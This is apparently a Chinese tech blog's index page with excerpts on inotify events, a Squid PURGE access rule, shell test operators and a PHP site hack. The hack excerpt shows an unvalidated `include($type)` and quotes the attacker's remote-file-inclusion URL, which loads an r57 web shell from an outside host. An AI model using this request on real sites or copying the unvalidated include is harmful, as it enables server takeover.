公司一套系统的同步使用的donotify,不能实现子目录的实时同步,通过查资料,发现inotify可以实现子目录的实时同步,以下为笔记。

一、介绍Inotify 是文件系统事件监控机制,作为 dnotify 的有效替代。dnotify 是较早内核支持的文件监控机制。Inotify 是一种强大的、细粒度的、异步的机制,它满足各种各样的文件监控需要,不仅限于安全和性能。

inotify 可以监视的文件系统事件包括:IN_ACCESS,即文件被访问IN_MODIFY,文件被 writeIN_ATTRIB,文件属性被修改,如 chmod、chown、touch 等IN_CLOSE_WRITE,可写文件被 closeIN_CLOSE_NOWRITE,不可写文件被 closeIN_OPEN,文件被 openIN_MOVED_FROM,文件被移走,如 mvIN_MOVED_TO,文件被移来,如 mv、cpIN_CREATE,创建新文件IN_DELETE,文件被删除,如 rmIN_DELETE_SELF,自删除,即一个可执行文件在执行时删除自己IN_MOVE_SELF,自移动,即一个可执行文件在执行时移动自己IN_UNMOUNT,宿主文件系统被 umountIN_CLOSE,文件被关闭,等同于(IN_CLOSE_WRITE | IN_CLOSE_NOWRITE)IN_MOVE,文件被移动,等同于(IN_MOVED_FROM | IN_MOVED_TO)注:上面所说的文件也包括目录。

阅读全文

PURGE 是一个特殊的HTTP请求方法。它是 Squid 的专有方法,没有在任何RFC 里定义。它让管理员能强制删除缓存对象。既然该方法有些危险,squid 默认拒绝PURGE 请求,除非你定义了ACL 引用了该方法。否则,任何能访问cache 者也许能够删除任意缓存对象。我推荐仅仅允许来自localhost 的PURGE:

acl Purge method PURGE
acl Localhost src 127.0.0.1
http_access allow Purge Localhost
http_access deny Purge

阅读全文

shell中的条件测试

对于测试的对象不同,条件测试分为这么三种,文件测试、字串测试、数值测试。

1.文件测试

文件测试根据文件的属性(是否目录,正规文本,符号链接),文件的权限(是否可读,可写,可执行,有suid位),文件的size( 是否为空) 来测试,大致分为这么三类.

参数          解释
-d       是否目录
-f               是否正规文本
-L               是否符号链接

-r    是否可读            
-w              是否可写
-x               是否可执行
-u               是否有suid 位

-s               是否为空

阅读全文

比较两个字符串是否相等的办法是: if [ “test”x = “test”x ]; then

这里的关键有几点:

1 使用单个等号

2 注意到等号两边各有一个空格:这是unix shell的要求

3 注意到”test”x最后的x,这是特意安排的,因为当test为空的时候,上面的表达式就变成了x = testx,显然是不相等的。而如果没有这个x,表达式就会报错:[: =: unary operator expected

阅读全文

网站是四年前刚学PHP的时候帮朋友弄的,有些参数没有处理好,造成让人挂马。

php内有一段是这样的,目的是动态加载一个静态页

$type.=".htm";  
include ($type);

$type是通过url传过来的值,如:
showhtml.php?type=index

因为虚拟主机的是激活的,所以黑客用了这个地址:
/showhtml.php?type=http://evilc0der.com/r57.txt??

阅读全文

作者的图片

阿辉

容器技术及容器集群等分布式系统研究

容器平台负责人

上海